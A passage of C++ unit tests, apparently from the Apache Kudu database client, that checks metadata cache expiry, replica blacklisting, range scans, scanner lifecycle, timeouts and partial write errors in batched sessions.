ASSERT_FALSE(meta_cache->LookupEntryByKeyFastPath(client_table_.get(), "", &entry)); // Prime the cache. CHECK_NOTNULL(MetaCacheLookup(client_table_.get(), "").get()); ASSERT_TRUE(meta_cache->LookupEntryByKeyFastPath(client_table_.get(), "", &entry)); ASSERT_FALSE(entry.stale()); // Sleep in order to expire the cache. SleepFor(MonoDelta::FromMilliseconds(FLAGS_table_locations_ttl_ms)); ASSERT_TRUE(entry.stale()); ASSERT_FALSE(meta_cache->LookupEntryByKeyFastPath(client_table_.get(), "", &entry)); // Force a lookup and ensure the entry is refreshed. CHECK_NOTNULL(MetaCacheLookup(client_table_.get(), "").get()); ASSERT_TRUE(meta_cache->LookupEntryByKeyFastPath(client_table_.get(), "", &entry)); ASSERT_FALSE(entry.stale()); } TEST_F(ClientTest, TestGetTabletServerBlacklist) { shared_ptr<KuduTable> table; NO_FATALS(CreateTable("blacklist", 3, GenerateSplitRows(), {}, &table)); InsertTestRows(table.get(), 1, 0); // Look up the tablet and its replicas into the metadata cache. // We have to loop since some replicas may have been created slowly. scoped_refptr<internal::RemoteTablet> rt; while (true) { rt = MetaCacheLookup(table.get(), ""); ASSERT_TRUE(rt.get() != nullptr); vector<internal::RemoteTabletServer*> tservers; rt->GetRemoteTabletServers(&tservers); if (tservers.size() == 3) { break; } rt->MarkStale(); SleepFor(MonoDelta::FromMilliseconds(10)); } // Get the Leader. internal::RemoteTabletServer *rts; set<string> blacklist; vector<internal::RemoteTabletServer*> candidates; vector<internal::RemoteTabletServer*> tservers; ASSERT_OK(client_->data_->GetTabletServer(client_.get(), rt, KuduClient::LEADER_ONLY, blacklist, &candidates, &rts)); tservers.push_back(rts); // Blacklist the leader, should not work. blacklist.insert(rts->permanent_uuid()); { Status s = client_->data_->GetTabletServer(client_.get(), rt, KuduClient::LEADER_ONLY, blacklist, &candidates, &rts); ASSERT_TRUE(s.IsServiceUnavailable()); } // Keep blacklisting replicas until we run out. ASSERT_OK(client_->data_->GetTabletServer(client_.get(), rt, KuduClient::CLOSEST_REPLICA, blacklist, &candidates, &rts)); tservers.push_back(rts); blacklist.insert(rts->permanent_uuid()); ASSERT_OK(client_->data_->GetTabletServer(client_.get(), rt, KuduClient::FIRST_REPLICA, blacklist, &candidates, &rts)); tservers.push_back(rts); blacklist.insert(rts->permanent_uuid()); // Make sure none of the three modes work when all nodes are blacklisted. vector<KuduClient::ReplicaSelection> selections; selections.push_back(KuduClient::LEADER_ONLY); selections.push_back(KuduClient::CLOSEST_REPLICA); selections.push_back(KuduClient::FIRST_REPLICA); for (KuduClient::ReplicaSelection selection : selections) { Status s = client_->data_->GetTabletServer(client_.get(), rt, selection, blacklist, &candidates, &rts); ASSERT_TRUE(s.IsServiceUnavailable()); } // Make sure none of the modes work when all nodes are dead. for (internal::RemoteTabletServer* rt : tservers) { client_->data_->meta_cache_->MarkTSFailed(rt, Status::NetworkError("test")); } blacklist.clear(); for (KuduClient::ReplicaSelection selection : selections) { Status s = client_->data_->GetTabletServer(client_.get(), rt, selection, blacklist, &candidates, &rts); ASSERT_TRUE(s.IsServiceUnavailable()); } } TEST_F(ClientTest, TestScanWithEncodedRangePredicate) { shared_ptr<KuduTable> table; NO_FATALS(CreateTable("split-table", 1, /* replicas */ GenerateSplitRows(), {}, &table)); NO_FATALS(InsertTestRows(table.get(), 100)); vector<string> all_rows; ASSERT_OK(ScanTableToStrings(table.get(), &all_rows)); ASSERT_EQ(100, all_rows.size()); unique_ptr<KuduPartialRow> row(table->schema().NewRow()); // Test a double-sided range within first tablet { KuduScanner scanner(table.get()); CHECK_OK(row->SetInt32(0, 5)); ASSERT_OK(scanner.AddLowerBound(*row)); CHECK_OK(row->SetInt32(0, 8)); ASSERT_OK(scanner.AddExclusiveUpperBound(*row)); vector<string> rows; ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(8 - 5, rows.size()); EXPECT_EQ(all_rows[5], rows.front()); EXPECT_EQ(all_rows[7], rows.back()); } // Test a double-sided range spanning tablets { KuduScanner scanner(table.get()); CHECK_OK(row->SetInt32(0, 5)); ASSERT_OK(scanner.AddLowerBound(*row)); CHECK_OK(row->SetInt32(0, 15)); ASSERT_OK(scanner.AddExclusiveUpperBound(*row)); vector<string> rows; ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(15 - 5, rows.size()); EXPECT_EQ(all_rows[5], rows.front()); EXPECT_EQ(all_rows[14], rows.back()); } // Test a double-sided range within second tablet { KuduScanner scanner(table.get()); CHECK_OK(row->SetInt32(0, 15)); ASSERT_OK(scanner.AddLowerBound(*row)); CHECK_OK(row->SetInt32(0, 20)); ASSERT_OK(scanner.AddExclusiveUpperBound(*row)); vector<string> rows; ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(20 - 15, rows.size()); EXPECT_EQ(all_rows[15], rows.front()); EXPECT_EQ(all_rows[19], rows.back()); } // Test a lower-bound only range. { KuduScanner scanner(table.get()); CHECK_OK(row->SetInt32(0, 5)); ASSERT_OK(scanner.AddLowerBound(*row)); vector<string> rows; ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(95, rows.size()); EXPECT_EQ(all_rows[5], rows.front()); EXPECT_EQ(all_rows[99], rows.back()); } // Test an upper-bound only range in first tablet. { KuduScanner scanner(table.get()); CHECK_OK(row->SetInt32(0, 5)); ASSERT_OK(scanner.AddExclusiveUpperBound(*row)); vector<string> rows; ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(5, rows.size()); EXPECT_EQ(all_rows[0], rows.front()); EXPECT_EQ(all_rows[4], rows.back()); } // Test an upper-bound only range in second tablet. { KuduScanner scanner(table.get()); CHECK_OK(row->SetInt32(0, 15)); ASSERT_OK(scanner.AddExclusiveUpperBound(*row)); vector<string> rows; ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(15, rows.size()); EXPECT_EQ(all_rows[0], rows.front()); EXPECT_EQ(all_rows[14], rows.back()); } } static void AssertScannersDisappear(const tserver::ScannerManager* manager) { // The Close call is async, so we may have to loop a bit until we see it disappear. // This loops for ~10sec. Typically it succeeds in only a few milliseconds. int i = 0; for (i = 0; i < 500; i++) { if (manager->CountActiveScanners() == 0) { LOG(INFO) << "Successfully saw scanner close on iteration " << i; return; } // Sleep 2ms on first few times through, then longer on later iterations. SleepFor(MonoDelta::FromMilliseconds(i < 10 ? 2 : 20)); } FAIL() << "Waited too long for the scanner to close"; } namespace { int64_t SumResults(const KuduScanBatch& batch) { int64_t sum = 0; for (const KuduScanBatch::RowPtr& row : batch) { int32_t val; CHECK_OK(row.GetInt32(0, &val)); sum += val; } return sum; } } // anonymous namespace TEST_F(ClientTest, TestScannerKeepAlive) { NO_FATALS(InsertTestRows(client_table_.get(), 1000)); // Set the scanner ttl really low FLAGS_scanner_ttl_ms = 100; // 100 milliseconds // Start a scan but don't get the whole data back KuduScanner scanner(client_table_.get()); // This will make sure we have to do multiple NextBatch calls to the second tablet. ASSERT_OK(scanner.SetBatchSizeBytes(100)); ASSERT_OK(scanner.Open()); KuduScanBatch batch; int64_t sum = 0; ASSERT_TRUE(scanner.HasMoreRows()); ASSERT_OK(scanner.NextBatch(&batch)); // We should get only nine rows back (from the first tablet). ASSERT_EQ(batch.NumRows(), 9); sum += SumResults(batch); ASSERT_TRUE(scanner.HasMoreRows()); // We're in between tablets but even if there isn't a live scanner the client should // still return OK to the keep alive call. ASSERT_OK(scanner.KeepAlive()); // Start scanning the second tablet, but break as soon as we have some data so that // we have a live remote scanner on the second tablet. while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); if (batch.NumRows() > 0) break; } sum += SumResults(batch); ASSERT_TRUE(scanner.HasMoreRows()); // Now loop while keeping the scanner alive. Each time we loop we sleep 1/2 a scanner // ttl interval (the garbage collector is running each 50 msecs too.). for (int i = 0; i < 5; i++) { SleepFor(MonoDelta::FromMilliseconds(50)); ASSERT_OK(scanner.KeepAlive()); } // Get a second batch before sleeping/keeping alive some more. This is test for a bug // where we would only actually perform a KeepAlive() rpc after the first request and // not on subsequent ones. while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); if (batch.NumRows() > 0) break; } ASSERT_TRUE(scanner.HasMoreRows()); for (int i = 0; i < 5; i++) { SleepFor(MonoDelta::FromMilliseconds(50)); ASSERT_OK(scanner.KeepAlive()); } sum += SumResults(batch); // Loop to get the remaining rows. while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); sum += SumResults(batch); } ASSERT_FALSE(scanner.HasMoreRows()); ASSERT_EQ(sum, 499500); } // Test cleanup of scanners on the server side when closed. TEST_F(ClientTest, TestCloseScanner) { NO_FATALS(InsertTestRows(client_table_.get(), 10)); const tserver::ScannerManager* manager = cluster_->mini_tablet_server(0)->server()->scanner_manager(); // Open the scanner, make sure it gets closed right away { SCOPED_TRACE("Implicit close"); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.Open()); ASSERT_EQ(0, manager->CountActiveScanners()); scanner.Close(); AssertScannersDisappear(manager); } // Open the scanner, make sure we see 1 registered scanner. { SCOPED_TRACE("Explicit close"); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetBatchSizeBytes(0)); // won't return data on open ASSERT_OK(scanner.Open()); ASSERT_EQ(1, manager->CountActiveScanners()); scanner.Close(); AssertScannersDisappear(manager); } { SCOPED_TRACE("Close when out of scope"); { KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetBatchSizeBytes(0)); ASSERT_OK(scanner.Open()); ASSERT_EQ(1, manager->CountActiveScanners()); } // Above scanner went out of scope, so the destructor should close asynchronously. AssertScannersDisappear(manager); } } TEST_F(ClientTest, TestScanTimeout) { // If we set the RPC timeout to be 0, we'll time out in the GetTableLocations // code path and not even discover where the tablet is hosted. { client_->data_->default_rpc_timeout_ = MonoDelta::FromSeconds(0); KuduScanner scanner(client_table_.get()); Status s = scanner.Open(); EXPECT_TRUE(s.IsTimedOut()) << s.ToString(); EXPECT_FALSE(scanner.data_->remote_) << "should not have located any tablet"; client_->data_->default_rpc_timeout_ = MonoDelta::FromSeconds(10); } // Warm the cache so that the subsequent timeout occurs within the scan, // not the lookup. NO_FATALS(InsertTestRows(client_table_.get(), 1)); // The "overall operation" timed out; no replicas failed. { KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetTimeoutMillis(0)); ASSERT_TRUE(scanner.Open().IsTimedOut()); ASSERT_TRUE(scanner.data_->remote_) << "We should have located a tablet"; ASSERT_EQ(0, scanner.data_->remote_->GetNumFailedReplicas()); } // Insert some more rows so that the scan takes multiple batches, instead of // fetching all the data on the 'Open()' call. NO_FATALS(InsertTestRows(client_table_.get(), 1000, 1)); { google::FlagSaver saver; FLAGS_scanner_max_batch_size_bytes = 100; KuduScanner scanner(client_table_.get()); // Set the single-RPC timeout low. Since we only have a single replica of this // table, we'll ignore this timeout for the actual scan calls, and use the // scanner timeout instead. FLAGS_scanner_inject_latency_on_each_batch_ms = 50; client_->data_->default_rpc_timeout_ = MonoDelta::FromMilliseconds(1); // Should successfully scan. ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); while (scanner.HasMoreRows()) { KuduScanBatch batch; ASSERT_OK(scanner.NextBatch(&batch)); } } } static unique_ptr<KuduError> GetSingleErrorFromSession(KuduSession* session) { CHECK_EQ(1, session->CountPendingErrors()); vector<KuduError*> errors; bool overflow; session->GetPendingErrors(&errors, &overflow); CHECK(!overflow); CHECK_EQ(1, errors.size()); return unique_ptr<KuduError>(errors[0]); } // Simplest case of inserting through the client API: a single row // with manual batching. TEST_F(ClientTest, TestInsertSingleRowManualBatch) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_FALSE(session->HasPendingOperations()); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); unique_ptr<KuduInsert> insert(client_table_->NewInsert()); // Try inserting without specifying a key: should fail. ASSERT_OK(insert->mutable_row()->SetInt32("int_val", 54321)); ASSERT_OK(insert->mutable_row()->SetStringCopy("string_val", "hello world")); KuduInsert* ptr = insert.get(); Status s = session->Apply(insert.release()); ASSERT_EQ("Illegal state: Key not specified: " R"(INSERT int32 int_val=54321, string string_val="hello world")", s.ToString()); // Get error ASSERT_EQ(session->CountPendingErrors(), 1) << "Should report bad key to error container"; unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); KuduWriteOperation* failed_op = error->release_failed_op(); ASSERT_EQ(failed_op, ptr) << "Should be able to retrieve failed operation"; insert.reset(ptr); // Retry ASSERT_OK(insert->mutable_row()->SetInt32("key", 12345)); ASSERT_OK(session->Apply(insert.release())); ASSERT_TRUE(session->HasPendingOperations()) << "Should be pending until we Flush"; FlushSessionOrDie(session); } static void DoTestInsertIgnoreVerifyRows(const shared_ptr<KuduTable>& tbl, int num_rows) { vector<string> rows; KuduScanner scanner(tbl.get()); ASSERT_OK(ScanToStrings(&scanner, &rows)); ASSERT_EQ(num_rows, rows.size()); for (int i = 0; i < num_rows; i++) { int key = i + 1; ASSERT_EQ(StringPrintf("(int32 key=%d, int32 int_val=%d, string string_val=\"hello %d\", " "int32 non_null_with_default=%d)", key, key*2, key, key*3), rows[i]); } } TEST_F(ClientTest, TestInsertIgnore) { shared_ptr<KuduSession> session = client_->NewSession(); session->SetTimeoutMillis(10000); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); { unique_ptr<KuduInsert> insert(BuildTestInsert(client_table_.get(), 1)); ASSERT_OK(session->Apply(insert.release())); DoTestInsertIgnoreVerifyRows(client_table_, 1); } { // INSERT IGNORE results in no error on duplicate primary key unique_ptr<KuduInsertIgnore> insert_ignore(BuildTestInsertIgnore(client_table_.get(), 1)); ASSERT_OK(session->Apply(insert_ignore.release())); DoTestInsertIgnoreVerifyRows(client_table_, 1); } { // INSERT IGNORE cannot update row unique_ptr<KuduInsertIgnore> insert_ignore(client_table_->NewInsertIgnore()); ASSERT_OK(insert_ignore->mutable_row()->SetInt32("key", 1)); ASSERT_OK(insert_ignore->mutable_row()->SetInt32("int_val", 999)); ASSERT_OK(insert_ignore->mutable_row()->SetStringCopy("string_val", "hello world")); ASSERT_OK(insert_ignore->mutable_row()->SetInt32("non_null_with_default", 999)); ASSERT_OK(session->Apply(insert_ignore.release())); // returns ok but results in no change DoTestInsertIgnoreVerifyRows(client_table_, 1); } { // INSERT IGNORE can insert new row unique_ptr<KuduInsertIgnore> insert_ignore(BuildTestInsertIgnore(client_table_.get(), 2)); ASSERT_OK(session->Apply(insert_ignore.release())); DoTestInsertIgnoreVerifyRows(client_table_, 2); } } TEST_F(ClientTest, TestInsertAutoFlushSync) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_FALSE(session->HasPendingOperations()); session->SetTimeoutMillis(10000); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); // Test in Flush() is called implicitly, // so there is no pending operations. unique_ptr<KuduInsert> insert(client_table_->NewInsert()); ASSERT_OK(insert->mutable_row()->SetInt32("key", 12345)); ASSERT_OK(insert->mutable_row()->SetInt32("int_val", 54321)); ASSERT_OK(insert->mutable_row()->SetStringCopy("string_val", "hello world")); ASSERT_OK(session->Apply(insert.release())); ASSERT_TRUE(insert == nullptr) << "Successful insert should take ownership"; ASSERT_FALSE(session->HasPendingOperations()) << "Should not have pending operation"; // Test multiple inserts. for (int i = 0; i < 100; i++) { unique_ptr<KuduInsert> insert(client_table_->NewInsert()); ASSERT_OK(insert->mutable_row()->SetInt32("key", i)); ASSERT_OK(insert->mutable_row()->SetInt32("int_val", 54321)); ASSERT_OK(insert->mutable_row()->SetStringCopy("string_val", "hello world")); ASSERT_OK(session->Apply(insert.release())); } } static Status ApplyInsertToSession(KuduSession* session, const shared_ptr<KuduTable>& table, int row_key, int int_val, const char* string_val, boost::optional<int> non_null_with_default = boost::none) { unique_ptr<KuduInsert> insert(table->NewInsert()); RETURN_NOT_OK(insert->mutable_row()->SetInt32("key", row_key)); RETURN_NOT_OK(insert->mutable_row()->SetInt32("int_val", int_val)); RETURN_NOT_OK(insert->mutable_row()->SetStringCopy("string_val", string_val)); if (non_null_with_default) { RETURN_NOT_OK(insert->mutable_row()->SetInt32("non_null_with_default", non_null_with_default.get())); } return session->Apply(insert.release()); } static Status ApplyUpsertToSession(KuduSession* session, const shared_ptr<KuduTable>& table, int row_key, int int_val, const char* string_val) { unique_ptr<KuduUpsert> upsert(table->NewUpsert()); RETURN_NOT_OK(upsert->mutable_row()->SetInt32("key", row_key)); RETURN_NOT_OK(upsert->mutable_row()->SetInt32("int_val", int_val)); RETURN_NOT_OK(upsert->mutable_row()->SetStringCopy("string_val", string_val)); return session->Apply(upsert.release()); } static Status ApplyUpdateToSession(KuduSession* session, const shared_ptr<KuduTable>& table, int row_key, int int_val) { unique_ptr<KuduUpdate> update(table->NewUpdate()); RETURN_NOT_OK(update->mutable_row()->SetInt32("key", row_key)); RETURN_NOT_OK(update->mutable_row()->SetInt32("int_val", int_val)); return session->Apply(update.release()); } static Status ApplyDeleteToSession(KuduSession* session, const shared_ptr<KuduTable>& table, int row_key, boost::optional<int> int_val = boost::none) { unique_ptr<KuduDelete> del(table->NewDelete()); RETURN_NOT_OK(del->mutable_row()->SetInt32("key", row_key)); if (int_val) { RETURN_NOT_OK(del->mutable_row()->SetInt32("int_val", int_val.get())); } return session->Apply(del.release()); } TEST_F(ClientTest, TestWriteTimeout) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); #if defined(THREAD_SANITIZER) || defined(ADDRESS_SANITIZER) static const int kSessionTimeoutMs = 2000; #else static const int kSessionTimeoutMs = 200; #endif session->SetTimeoutMillis(kSessionTimeoutMs); // First time out the lookup on the master side. { google::FlagSaver saver; FLAGS_master_inject_latency_on_tablet_lookups_ms = kSessionTimeoutMs + 10; ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "row")); Status s = session->Flush(); ASSERT_TRUE(s.IsIOError()) << s.ToString(); unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); const Status& status = error->status(); ASSERT_TRUE(status.IsTimedOut()) << status.ToString(); ASSERT_STR_CONTAINS(status.ToString(), "LookupRpc { table: 'client-testtb', " "partition-key: (RANGE (key): 1), attempt: 1 } failed: " "LookupRpc timed out after deadline expired"); } // Next time out the actual write on the tablet server. { google::FlagSaver saver; FLAGS_log_inject_latency = true; FLAGS_log_inject_latency_ms_mean = kSessionTimeoutMs + 10; FLAGS_log_inject_latency_ms_stddev = 0; ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "row")); Status s = session->Flush(); ASSERT_TRUE(s.IsIOError()) << s.ToString(); unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); const Status& status = error->status(); ASSERT_TRUE(status.IsTimedOut()) << status.ToString(); ASSERT_STR_MATCHES(status.ToString(), R"(Failed to write batch of 1 ops to tablet.*after 1 attempt.*)" R"(Write RPC to 127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:.*timed out)"); } } TEST_F(ClientTest, TestFailedDnsResolution) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); const string kMasterError = "timed out after deadline expired: GetTableLocations RPC"; // First time disable dns resolution. // Set the timeout to be short since we know it can't succeed, but not to the point where we // can timeout before getting the dns error. { for (int i = 0;;i++) { google::FlagSaver saver; FLAGS_fail_dns_resolution = true; session->SetTimeoutMillis(500); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "row")); Status s = session->Flush(); ASSERT_TRUE(s.IsIOError()) << "unexpected status: " << s.ToString(); unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); ASSERT_TRUE(error->status().IsTimedOut()) << error->status().ToString(); // Due to KUDU-1466 there is a narrow window in which the error reported might be that the // GetTableLocations RPC to the master timed out instead of the expected dns resolution error. // In that case just loop again. if (error->status().ToString().find(kMasterError) != std::string::npos) { ASSERT_LE(i, 10) << "Didn't get a dns resolution error after 10 tries."; continue; } ASSERT_STR_CONTAINS(error->status().ToString(), "Network error: Failed to resolve address for TS"); break; } } // Now re-enable dns resolution, the write should succeed. FLAGS_fail_dns_resolution = false; ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "row")); ASSERT_OK(session->Flush()); } // Test which does an async flush and then drops the reference // to the Session. This should still call the callback. TEST_F(ClientTest, TestAsyncFlushResponseAfterSessionDropped) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "row")); Synchronizer s; KuduStatusMemberCallback<Synchronizer> cb(&s, &Synchronizer::StatusCB); session->FlushAsync(&cb); session.reset(); ASSERT_OK(s.Wait()); // Try again, this time with an error response (trying to re-insert the same row). s.Reset(); session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "row")); #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" ASSERT_EQ(1, session->CountBufferedOperations()); session->FlushAsync(&cb); ASSERT_EQ(0, session->CountBufferedOperations()); #pragma GCC diagnostic pop session.reset(); ASSERT_FALSE(s.Wait().ok()); } TEST_F(ClientTest, TestSessionClose) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "row")); // Closing the session now should return Status::IllegalState since we // have a pending operation. ASSERT_TRUE(session->Close().IsIllegalState()); Synchronizer s; KuduStatusMemberCallback<Synchronizer> cb(&s, &Synchronizer::StatusCB); session->FlushAsync(&cb); ASSERT_OK(s.Wait()); ASSERT_OK(session->Close()); } // Test which sends multiple batches through the same session, each of which // contains multiple rows spread across multiple tablets. TEST_F(ClientTest, TestMultipleMultiRowManualBatches) { shared_ptr<KuduTable> second_table; NO_FATALS(CreateTable("second table", 1, {}, {}, &second_table)); shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); const int kNumBatches = 5; const int kRowsPerBatch = 10; int row_key = 0; for (int batch_num = 0; batch_num < kNumBatches; batch_num++) { for (int i = 0; i < kRowsPerBatch; i++) { ASSERT_OK(ApplyInsertToSession( session.get(), (row_key % 2 == 0) ? client_table_ : second_table, row_key, row_key * 10, "hello world")); row_key++; } ASSERT_TRUE(session->HasPendingOperations()) << "Should be pending until we Flush"; FlushSessionOrDie(session); ASSERT_FALSE(session->HasPendingOperations()) << "Should have no more pending ops after flush"; } const int kNumRowsPerTablet = kNumBatches * kRowsPerBatch / 2; ASSERT_EQ(kNumRowsPerTablet, CountRowsFromClient(client_table_.get())); ASSERT_EQ(kNumRowsPerTablet, CountRowsFromClient(second_table.get())); // Verify the data looks right. vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows, ScannedRowsOrder::kSorted)); ASSERT_EQ(kNumRowsPerTablet, rows.size()); ASSERT_EQ(R"((int32 key=0, int32 int_val=0, string string_val="hello world", )" "int32 non_null_with_default=12345)", rows[0]); } // Test a batch where one of the inserted rows succeeds while another fails. // 1. Insert duplicate keys. TEST_F(ClientTest, TestBatchWithPartialErrorOfDuplicateKeys) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Insert a row with key "1" ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "original row")); FlushSessionOrDie(session); // Now make a batch that has key "1" (which will fail) along with // key "2" which will succeed. Flushing should return an error. ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "Attempted dup")); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 2, 1, "Should succeed")); Status s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Fetch and verify the reported error. unique_ptr<KuduError> error; NO_FATALS(error = GetSingleErrorFromSession(session.get())); ASSERT_TRUE(error->status().IsAlreadyPresent()); ASSERT_EQ(error->status().ToString(), "Already present: key already present"); ASSERT_EQ(error->failed_op().ToString(), R"(INSERT int32 key=1, int32 int_val=1, string string_val="Attempted dup")"); // Verify that the other row was successfully inserted vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows, ScannedRowsOrder::kSorted)); ASSERT_EQ(2, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=1, string string_val="original row", )" "int32 non_null_with_default=12345)", rows[0]); ASSERT_EQ(R"((int32 key=2, int32 int_val=1, string string_val="Should succeed", )" "int32 non_null_with_default=12345)", rows[1]); } // 2. Insert a row missing a required column. TEST_F(ClientTest, TestBatchWithPartialErrorOfMissingRequiredColumn) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Remove default value of a non-nullable column. unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("non_null_with_default")->RemoveDefault(); ASSERT_OK(table_alterer->Alter()); // Insert a row successfully. ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "Should succeed", 1)); // Insert a row missing a required column, which will fail. ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 2, 2, "Missing required column")); Status s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Fetch and verify the reported error. unique_ptr<KuduError> error; NO_FATALS(error = GetSingleErrorFromSession(session.get())); ASSERT_TRUE(error->status().IsInvalidArgument()); ASSERT_EQ(error->status().ToString(), "Invalid argument: No value provided for required column: " "non_null_with_default INT32 NOT NULL"); ASSERT_EQ(error->failed_op().ToString(), R"(INSERT int32 key=2, int32 int_val=2, )" R"(string string_val="Missing required column")"); // Verify that the other row was successfully inserted vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=1, string string_val="Should succeed", )" "int32 non_null_with_default=1)", rows[0]); } // 3. No fields updated for a row. TEST_F(ClientTest, TestBatchWithPartialErrorOfNoFieldsUpdated) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Insert two rows successfully. ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "One")); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 2, 2, "Two")); ASSERT_OK(session->Flush()); // Update a row without any non-key fields updated, which will fail. unique_ptr<KuduUpdate> update(client_table_->NewUpdate()); ASSERT_OK(update->mutable_row()->SetInt32("key", 1)); ASSERT_OK(session->Apply(update.release())); // Update a row with some non-key fields updated, which will success. ASSERT_OK(ApplyUpdateToSession(session.get(), client_table_, 2, 22)); Status s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Fetch and verify the reported error. unique_ptr<KuduError> error; NO_FATALS(error = GetSingleErrorFromSession(session.get())); ASSERT_TRUE(error->status().IsInvalidArgument()); ASSERT_EQ(error->status().ToString(), "Invalid argument: No fields updated, key is: (int32 key=1)"); ASSERT_EQ(error->failed_op().ToString(), R"(UPDATE int32 key=1)"); // Verify that the other row was successfully updated. vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows, ScannedRowsOrder::kSorted)); ASSERT_EQ(2, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=1, string string_val="One", )" "int32 non_null_with_default=12345)", rows[0]); ASSERT_EQ(R"((int32 key=2, int32 int_val=22, string string_val="Two", )" "int32 non_null_with_default=12345)", rows[1]); } // 4. Delete a row with a non-key column specified. TEST_F(ClientTest, TestBatchWithPartialErrorOfNonKeyColumnSpecifiedDelete) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Insert two rows successfully. ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "One")); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 2, 2, "Two")); ASSERT_OK(session->Flush()); // Delete a row without any non-key fields, which will success. ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); // Delete a row with some non-key fields, which will fail. ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 2, 2)); Status s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Fetch and verify the reported error. unique_ptr<KuduError> error; NO_FATALS(error = GetSingleErrorFromSession(session.get())); ASSERT_TRUE(error->status().IsInvalidArgument()); ASSERT_EQ(error->status().ToString(), "Invalid argument: DELETE should not have a value for column: " "int_val INT32 NOT NULL"); ASSERT_EQ(error->failed_op().ToString(), R"(DELETE int32 key=2, int32 int_val=2)"); // Verify that the other row was successfully deleted. vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); ASSERT_EQ(R"((int32 key=2, int32 int_val=2, string string_val="Two", )" "int32 non_null_with_default=12345)", rows[0]); } // 5. All row failed in prepare phase. TEST_F(ClientTest, TestBatchWithPartialErrorOfAllRowsFailed) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Insert two rows successfully. 